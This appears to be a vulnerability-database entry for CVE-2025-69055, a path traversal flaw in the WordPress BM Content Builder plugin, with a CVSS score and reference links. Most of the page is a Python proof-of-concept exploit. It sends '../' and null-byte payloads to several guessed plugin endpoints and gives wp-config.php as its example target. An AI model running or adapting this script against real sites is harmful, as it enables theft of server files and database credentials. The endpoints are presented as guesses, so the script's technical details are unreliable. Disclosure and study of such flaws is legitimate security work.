CVE-2025-69055

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in SeaTheme BM Content Builder bm-builder allows Path Traversal.This issue affects BM Content Builder: from n/a through < 3.16.3.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

BM Content Builder < 3.16.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-69055 Path Traversal PoC
# Target: WordPress BM Content Builder plugin < 3.16.3.3

def exploit_path_traversal(target_url, file_path):
    """
    Exploit path traversal vulnerability to read arbitrary files
    """
    # Common vulnerable endpoints for BM Builder
    endpoints = [
        '/wp-content/plugins/bm-builder/includes/ajax.php?action=bm_builder_download',
        '/wp-content/plugins/bm-builder/public/ajax.php',
        '/wp-content/plugins/bm-builder/assets/download.php'
    ]
    
    # Payload construction with path traversal
    traversal = '../../../../' + file_path + '%00'
    
    for endpoint in endpoints:
        try:
            params = {
                'file': traversal,
                'filename': file_path.split('/')[-1]
            }
            
            response = requests.get(target_url + endpoint, params=params, timeout=10)
            
            if response.status_code == 200 and len(response.content) > 0:
                print(f'[+] Successfully exploited: {endpoint}')
                print(f'[+] File content preview:')
                print(response.text[:500])
                return True
        except requests.RequestException as e:
            print(f'[-] Error testing {endpoint}: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python cve-2025-69055.py <target_url> <file_path>')
        print('Example: python cve-2025-69055.py http://target.com ../../wp-config.php')
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    file_path = sys.argv[2]
    
    print(f'[*] Target: {target}')
    print(f'[*] Attempting to read: {file_path}')
    
    exploit_path_traversal(target, file_path)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69055
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69055
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69055/
[4] VulDB https://vuldb.com/cve/CVE-2025-69055
[5] https://patchstack.com/database/Wordpress/Plugin/bm-builder/vulnerability/wordpress-bm-content-builder-plugin-3-16-3-arbitrary-file-download-vulnerability?_s_id=cve

Raw JSON Data

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